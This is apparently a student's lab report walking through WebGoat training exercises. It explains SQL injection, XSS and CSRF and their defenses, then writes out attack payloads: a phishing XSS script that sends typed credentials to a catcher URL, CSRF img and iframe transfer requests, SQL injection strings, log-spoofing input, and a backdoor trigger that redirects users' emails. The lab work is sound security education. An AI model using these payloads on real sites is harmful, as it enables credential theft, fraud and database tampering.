1. 程式人生 > >2017-2018-2 20155309 南皓芯 Exp9 Web安全基礎

2017-2018-2 20155309 南皓芯 Exp9 Web安全基礎

發出 catch CA 直接插入 ica string png options 設置代理

基礎問題回答

1.SQL註入攻擊原理,如何防禦

原理:它是利用現有應用程序,將惡意的SQL命令註入到後臺數據庫引擎執行的能力,它可以通過在Web表單中輸入惡意SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句,最終達到欺騙服務器執行惡意的SQL命令。

本質:基於文本解析的機制無法分辨代碼是否是惡意代碼,僅僅是順序讀取和執行,因為通常文本解析的語言並不會進行編譯。

防禦:既然可以看到註入類攻擊的核心原因是因為很多語言的順序執行機制,和文本解析的本質,那麽我只需要打破這種機制就可以防止註入攻擊的發生。以SQL註入為例,可以通過JAVA中的綁定變量等方法進行預防,JAVA的綁定變量方法是吧用戶的輸入作為一種變量,對SQL語句進行預編譯,這樣在執行時就不是順序執行,而是把輸入作為一種變量進行處理,不會在運行時進行動態的拼接SQL語句,防止了惡意的攻擊代碼被寫入SQL語句進行解析和執行。

2.xSS攻擊的原理,如何防禦

原理:攻擊者往Web頁面裏插入惡意html標簽或者javascript代碼,當用戶瀏覽該頁或者進行某些操作時,攻擊者利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操作或者向其它網站提交用戶的私密信息。

條件:
網站需要有輸入參數的地方。(所謂輸入不一定是<\input>標簽的文本框類型,也可以是選擇欄,或者submit,只需要通過工具進行intercept修改參數,能夠控制傳入值就可以了。)
用戶的輸入會被通過某種方式再次呈現出來。

分類:反射型和儲存型,簡單來講,反射型不存儲信息,一旦離開該網頁所有輸入無法再找回;儲存型會存儲信息,會將用戶名甚至密碼存儲起來,即使離開這個網站下次再次進入,用戶名依舊會留存在頁面。

防禦:
過濾<>標記,XSS跨站攻擊的最終目標是引入script代碼在用戶的瀏覽器中執行,所以最基本最簡單的過濾方法,就是轉換<>標記。

HTML屬性過濾,一旦用戶輸入的語句中含有javascriptjscript``vbscript,都用空白代替。

過濾特殊字符:&、回車和空格。

3.CSRF攻擊原理,如何防禦

原理:

CSRF就是冒名登錄。跨站請求偽造的核心本質是竊取用戶的Session,或者說Cookie,因為目前主流情況Session都是存在Cookie中.攻擊者並不關心被害者具體帳號和密碼,因為一旦用戶進行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進入服務器.

實例:利用HTML的Request機制,攻擊者發送給被害者一個www.B.com域名下的網站,內部嵌入了惡意的src=www.A.com的Request指令,如果被害者打開B.com時當前瀏覽器正好已經登錄過了A.com並且把A.com的Cookie放入了瀏覽器,那麽在B.com下Request站點A.com時就會帶走A.com的Session.服務器會錯誤的認為B.com的惡意請求是用戶自己發出的。

防禦:

CSRF的攻擊是有條件的,當用戶訪問惡意鏈接的時候,認證的cookie仍然有效,所以當用戶關閉頁面的時候cookie應該要被清除。

驗證HTTP Referer字段。

在請求地址中添加token並驗證。

在HTTP頭中自定義屬性並驗證。

實驗過程

WebGoat

首先什麽是WebGoat呢,官網給出的解釋是WebGoat是OWASP組織研制出的用於進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數、弱會話cookie、SQL盲註、數字型SQL註入、字符串型SQL註入、web服務、Open Authentication失效、危險的HTML註釋等等。

運行WebGoat,在這之前需要一個java的環境,所以得先安裝一個JDK,如果虛擬機裏已經有了,那就省了不少事兒,直接在終端鍵入命令

java -jar webgoat-container-7.0.1-war-exec.jar

技術分享圖片

技術分享圖片

由於WebGoat使用的是8080端口,所以在瀏覽器上訪問localhost:8080/WebGoat,進入WebGoat,默認的賬號密碼進行登錄。

進去之後就可以在左邊看到很多練習啦。

技術分享圖片

xss攻擊

Phishing with XSS跨站腳本釣魚攻擊

跨站腳本攻擊最大的魅力是通過HTML註入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,甚至可以模擬用戶當前的操作。這裏實驗的是一種獲取用戶名和密碼的攻擊
先編寫一個包含用戶名、密碼的前端代碼:

<head>
<body>
<div>
<div style="float:left;height:100px;width:30%;background-color:green;"></div>
<div style="float:left;height:100px;width:30%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:100px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

然後在webgoat找到xss攻擊打開Phishing with XSS

技術分享圖片

我們之後將上面的代碼輸入之後並且點擊search之後就可以看到我們的登錄界面了。

技術分享圖片

技術分享圖片

在登錄框中輸入用戶名以及密碼
我們可以發現攻擊成功

技術分享圖片

2、Stored XSS Attacks存儲型XSS攻擊

存儲型XSS的攻擊基本流程:

a. 比如在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,並且提交。
b. 網站後臺程序將留言內容存儲在數據中
c. 然後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了之前黑客的留言內容,並且直接插入在html頁面中,這就可能導致了:黑客留言的腳本本身應該作為內容顯示在留言板的,然後此時可能黑客的留言腳本被瀏覽器解釋執行了。

黑客腳本能幹的事:

通過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息
重定向網站到一個釣魚網站
重新更改頁面內容,假裝讓客戶輸入用戶名,密碼,然後提交到黑客的服務器

打開Stored XSS Attacks(xxs攻擊)

技術分享圖片

Message框中輸入

`

技術分享圖片

攻擊成功。

3.Reflected XSS Attacks 反射型XSS攻擊

我們在訪問一個網頁的時候,在URL後面加上參數,服務器根據請求的參數值構造不同的HTML返回。
value可能出現在返回的HTML(可能是JS,HTML某元素的內容或者屬性)中,
如果將value改成可以在瀏覽器中被解釋執行的東西,就形成了反射型XSS.
有人會問,我怎麽可能自己去把value改成可以執行的惡意代碼呢?這不是自己坑自己嗎.
但是一種情況是別人可能修改這個value值,然後將這個惡意的URL發送給你,或者別人,當URL地址被打開時,
特有的惡意代碼參數被HTML解析,執行.它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接才能引起

打開第三個xss攻擊

技術分享圖片

技術分享圖片

點擊Purchase出現對話框,顯示I am 20155309nhx。攻擊成功!

技術分享圖片

CSRF攻擊

跨站請求偽造,盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。

1、Cross Site Request Forgery(CSRF)

查看頁面右邊Parameters中的srcmenu值。

技術分享圖片

在title框中輸入學號,message框中輸入代碼:

<img src=‘attack?Screen=src值&menu=menu值&transferFunds=轉賬數額‘ width=‘1‘ height=‘1‘>

技術分享圖片

提交後生成一個鏈接20155309

技術分享圖片

點擊後即可查看信息,攻擊成功

技術分享圖片

2.CSRF Prompt By-Pass

查看頁面右邊Parameters中的src和menu值,並在title框中輸入學號,message框中輸入代碼:

   <iframe src="attack?Screen=282&menu=900&transferFunds=555555"> </iframe>
   
   
   <iframe src="attack?Screen=282&menu=900&transferFunds=CONFIRM"> </iframe>
    

技術分享圖片

點擊學號名即可查看用戶操作的信息,攻擊成功

技術分享圖片

SQL註入攻擊

SQL註入攻擊是黑客對數據庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL註入。

1、Numeric SQL Injection

我們看到這一題的選擇框也是一個下拉框,在當前網頁上無法修改,於是,我們使用BurpSuite抓包修改

技術分享圖片

在Kali桌面上找到如下圖標,打開BurpSuite:

技術分享圖片

在BurpSuite中依次選擇Proxy->Options->Add添加一個端口,將綁定的端口設為5309,點擊確認後會在Options下增加一行,勾選新形成的這一行:

技術分享圖片

技術分享圖片

點擊瀏覽器右上方的更多選項卡,選擇preference

技術分享圖片

在頁面左側選擇advanced,選擇network頁標簽,在connection那一行選擇settings

技術分享圖片

在彈出的窗口中設置代理服務器和端口(要與BurpSuite中綁定的一致)

技術分享圖片

設置好代理後回到題目頁面,點擊Go,然後進入BurpSuite中依次選擇Proxy->Intercept,可以看到已經抓到了包:

技術分享圖片

右鍵選擇send to repeater

進入repeater頁標簽,選擇Params將其中station的值改為101 or 1=1,點擊Go運行,查看右側代碼可以看到包中的SQL語句為

SELECT * FROM weather_data WHERE station = 101 or 1=1

技術分享圖片

回到Proxy中點擊Intercept is on對剩下的包不作處理,回到火狐發現已經成功。

技術分享圖片

2、Command Injection

我們對這個進行操作還是在BurpSuite進行抓包修改。

技術分享圖片

在題目頁面點擊view,然後進入BurpSuite中,在repeater頁標簽的Params選項中先運行一次,查看數據都提交的位置,顯示破解成功

技術分享圖片

回到題目發現顯示破解成功。

技術分享圖片

3、Log Spoofing

User Name文本框中輸入%0d%0aLogin succeeded !admin達到欺騙登錄效果,破解成功:

技術分享圖片

技術分享圖片

4.String SQL Injection

基於select語句構造SQL註入字符串,在文本框中輸入‘ or 1=1 --
點Go,攻擊成功,所有用戶信息都被顯示出來:

技術分享圖片

5.Blind Numeric SQL Injection

在輸入框輸入101,運行後發現返回Account number is valid,說明這個數是合法的

技術分享圖片

構造輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 數值 );根據返回結果判定合法範圍

技術分享圖片

使用二分法進行測試,確定值是2364,輸入2364後破解成功

技術分享圖片

6.Database Backdoors

輸入101可得到該用戶信息

技術分享圖片

再輸入語句101; update employee set salary=666666成功可將該用戶的工資變成666666,如下圖所示成功

技術分享圖片

再輸入語句

101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid

當表中有新用戶時則新用戶的郵箱則為自己設置的郵箱

技術分享圖片

實驗體會

首先我們在做實驗時候,第一個終端一定不要關閉,否則會導致自己後續實驗的失敗,實驗的難度不大,但是需要自己分條的進行操作,所以很麻煩,做的時候有一點煩躁,不過還好,這個是最後一個實驗了,要say bye了。

2017-2018-2 20155309 南皓芯 Exp9 Web安全基礎